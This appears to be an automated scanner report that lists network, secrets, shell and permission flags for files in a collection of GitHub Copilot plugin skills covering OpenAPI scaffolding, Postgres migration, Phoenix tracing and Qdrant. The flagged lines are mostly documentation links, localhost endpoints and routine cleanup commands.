| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code/SKILL.md
- Network accessline 13
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 14
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 15
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 23
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 24
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 25
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 143
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md
- Network accessline 182
- Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html) - Network accessline 183
- PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md
- Network accessline 144
- [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html) - Network accessline 145
- PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md
- Network accessline 171
- [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html) - Network accessline 172
- [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm) - Network accessline 173
- [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md
- Network accessline 257
- [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html) - Network accessline 258
- [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html) - Network accessline 259
- [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)
harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md
- Network accessline 146
- [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 147
- [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 148
- [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)
harness/github-copilot/plugins/ospo-sponsorship/skills/sponsor-finder/SKILL.md
- Network accessline 57
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies - Network accessline 62
https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies - Network accessline 87
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION} - Network accessline 108
https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo} - Network accessline 133
### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 134
Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 135
- **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL - Network accessline 136
- **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url` - Network accessline 148
GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p - Network accessline 152
Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 153
- `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 154
- `open_collective: slug` → `https://opencollective.com/{slug}` - Network accessline 155
- `ko_fi: username` → `https://ko-fi.com/{username}` - Network accessline 156
- `patreon: username` → `https://patreon.com/{username}` - Network accessline 157
- `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}` - Network accessline 249
1.**@{user}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://github.com/sponsors/{user} - Network accessline 251
https://github.com/sponsors/{user} - Network accessline 253
2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://opencollective.com/{name} - Network accessline 255
https://opencollective.com/{name} - Network accessline 257
3.**@{user2}**— {N} direct dep · Low activity {dep1} https://github.com/sponsors/{user2} - Network accessline 259
https://github.com/sponsors/{user2}
harness/github-copilot/plugins/pcf-development/skills/pcf-development/SKILL.md
- Network accessline 162
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview - Network accessline 163
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations - Network accessline 164
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/
harness/github-copilot/plugins/phoenix/skills/phoenix-cli/SKILL.md
- Access to secretsline 32
[Credential-related source omitted] - Network accessline 77
export PHOENIX_HOST=http://localhost:6006 - Access to secretsline 79
[Credential-related source omitted] - Network accessline 125
px auth status # check connection and authentication px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 126
px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 138
px profile show # show the active profile's settings px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> - Network accessline 139
px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my- - Network accessline 140
px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate - Network accessline 141
px profile create local --endpoint http://localhost:6006 --project my-app - Network accessline 390
- [Phoenix application](https://app.phoenix.arize.com)
harness/github-copilot/plugins/phoenix/skills/phoenix-cli/references/axial-coding.md
- Dangerous shell operationline 165
rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"
harness/github-copilot/plugins/phoenix/skills/phoenix-cli/references/open-coding.md
- Dangerous shell operationline 239
rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"
harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/common-mistakes-python.md
- Network accessline 72
# WRONG client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 73
client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 74
client = Client(url="https://app.phoenix.arize.com") - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted]
harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/error-analysis.md
harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/observe-tracing-setup.md
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/README.md
- Network accessline 20
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 21
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 22
- [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 23
- [Python Client API](https://arize.com/docs/phoenix) - Network accessline 24
- [TypeScript API](https://arize-ai.github.io/phoenix/)
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/SKILL.md
- Network accessline 134
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 135
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 136
- [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 137
- [Python Client Package](https://arize.com/docs/phoenix) - Network accessline 138
- [TypeScript Packages](https://arize-ai.github.io/phoenix/)
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/annotations-python.md
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/annotations-typescript.md
- Network accessline 8
import { createClient } from "@arizeai/phoenix-client"; const client = createClient(); // Default: http://localhost:6006 - Network accessline 9
const client = createClient(); // Default: http://localhost:6006 - Network accessline 173
- [TypeScript Client API](https://arize-ai.github.io/phoenix/)
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-python.md
- Network accessline 47
@tracer.tool def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") - Network accessline 48
def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") return response.json()["weather"] - Network accessline 49
response = requests.get(f"https://api.weather.com/{city}") - Network accessline 180
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto - Network accessline 182
- **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-typescript.md
- Network accessline 53
// TOOL - function calls const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 54
const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), { name: "get-weather" } - Network accessline 55
async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 170
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation - Network accessline 171
- **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/projects-python.md
- Access to secretsline 21
[Credential-related source omitted]
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/sessions-python.md
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/sessions-typescript.md
- Network accessline 23
register({ projectName: "your-app", url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Network accessline 24
[Credential-related source omitted] - Network accessline 25
url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Access to secretsline 26
[Credential-related source omitted] - Network accessline 95
# Get all traces for a session npx @arizeai/phoenix-cli traces \ --endpoint http://localhost:6006 \ - Network accessline 96
npx @arizeai/phoenix-cli traces --endpoint http://localhost:6006 - Network accessline 97
--endpoint http://localhost:6006 \
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/setup-python.md
- Network accessline 19
**Connects to `http://localhost:6006`, auto-instruments all supported libraries.** - Network accessline 34
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 35
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" # Or Cloud URL - Network accessline 44
tracer_provider = register( project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 45
project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint auto_instrument=True, # Auto-instrument supported libs - Network accessline 46
endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 89
**Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/ - Network accessline 93
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 103
[Credential-related source omitted] - Network accessline 130
- [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 131
- [Python Client API Docs](https://arize.com/docs/phoenix)
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/setup-typescript.md
- Network accessline 23
Connects to `http://localhost:6006` by default. - Network accessline 30
register({ projectName: "my-app", url: "http://localhost:6006", - Network accessline 31
[Credential-related source omitted] - Network accessline 32
url: "http://localhost:6006", - Access to secretsline 33
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Network accessline 42
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" - Network accessline 135
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 154
[Credential-related source omitted] - Network accessline 168
- **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/ - Network accessline 170
- **API docs:** https://arize-ai.github.io/phoenix/
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/span-llm.md
- Network accessline 78
- **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md - Network accessline 79
- **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/span-retriever.md
harness/github-copilot/plugins/php-mcp-development/skills/php-mcp-server-generator/references/templates-and-development.md
harness/github-copilot/plugins/platform-vendor-expertise/skills/shopify-review-triage/SKILL.md
- Network accessline 7
author: "Shopify App Review Brief - independent, not affiliated with or endorsed by Shopify Inc." compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system pack - Network accessline 8
compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format." source: "https://alf - Network accessline 9
source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 156
- [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)
harness/github-copilot/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold/SKILL.md
- Network accessline 179
- Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.
harness/github-copilot/plugins/power-platform-architect/skills/power-platform-architect/SKILL.md
- Network accessline 33
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 34
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 35
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 61
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 63
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 121
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 122
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 123
- `https://mermaid.ai/live/edit` - Network accessline 159
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 161
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 175
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 176
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/github-copilot/plugins/project-documenter/skills/drawio/scripts/drawio-to-png.mjs
harness/github-copilot/plugins/project-documenter/skills/drawio/scripts/package.json
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/project-documenter/skills/md-to-docx/scripts/md-to-docx.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/project-documenter/skills/md-to-docx/scripts/package.json
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/project-planning/skills/create-implementation-plan/SKILL.md
- Network accessline 57
The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status - Network accessline 74

harness/github-copilot/plugins/project-planning/skills/update-implementation-plan/SKILL.md
harness/github-copilot/plugins/python-mcp-development/skills/python-mcp-server-generator/SKILL.md
- Network accessline 51
For HTTP testing, connect clients to `http://localhost:PORT/mcp`. - Network accessline 96
| Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` | - Network accessline 98
| Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
harness/github-copilot/plugins/qdrant-development/skills/qdrant-clients-sdk/SKILL.md
- Broad permissionsline 1
Bash - Network accessline 22
| Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 23
| --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com - Network accessline 24
| Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | - Network accessline 25
| JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` | - Network accessline 26
| Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` | - Network accessline 27
| Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` | - Network accessline 28
| .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` | - Network accessline 29
| Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` | - Network accessline 33
| Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https - Network accessline 34
| --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma - Network accessline 35
| REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast - Network accessline 36
| gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` | - Network accessline 37
| Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` | - Network accessline 41
1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet - Network accessline 42
2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query - Network accessline 43
3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`. - Network accessline 58
| Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU - Network accessline 60
| Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. | - Network accessline 89
- [Qdrant Python client](https://github.com/qdrant/qdrant-client) - Network accessline 90
- [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js) - Network accessline 91
- [Qdrant Rust client](https://github.com/qdrant/rust-client) - Network accessline 92
- [Qdrant Go client](https://github.com/qdrant/go-client) - Network accessline 93
- [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet) - Network accessline 94
- [Qdrant Java client](https://github.com/qdrant/java-client) - Network accessline 95
- [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client) - Network accessline 96
- [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference) - Network accessline 97
- [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json) - Network accessline 98
- [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto) - Network accessline 99
- [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points) - Network accessline 100
- [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-deployment-options/SKILL.md
- Network accessline 97
- [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 98
- [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run) - Network accessline 99
- [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/) - Network accessline 100
- [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/) - Network accessline 101
- [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/) - Network accessline 102
- [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-model-migration/SKILL.md
- Network accessline 124
- [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 125
- [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 126
- [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors) - Network accessline 127
- [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors) - Network accessline 128
- [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode) - Network accessline 129
- [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 130
- [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/) - Network accessline 131
- [Inference docs](https://qdrant.tech/documentation/inference/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/SKILL.md
- Network accessline 29
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 29
Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/. - Network accessline 94
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 94
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/debugging/SKILL.md
- Network accessline 15
- Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 16
- Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task - Network accessline 17
- Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti - Network accessline 18
- Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui) - Network accessline 27
- Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R - Network accessline 28
- Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 29
- If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect - Network accessline 30
- Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra - Network accessline 31
- Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/) - Network accessline 42
- Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi - Network accessline 44
- Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/setup/SKILL.md
- Network accessline 15
- Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 16
- Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep - Network accessline 18
- Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring) - Network accessline 27
- Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/) - Network accessline 28
- Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard) - Network accessline 35
- Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints) - Network accessline 42
- Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/) - Network accessline 51
- Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 53
- Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md
- Network accessline 10
- Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer) - Network accessline 20
- Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points) - Network accessline 25
- Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding) - Network accessline 26
- Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 30
- Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters) - Network accessline 35
See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/ - Network accessline 42
- Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 52
- Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 53
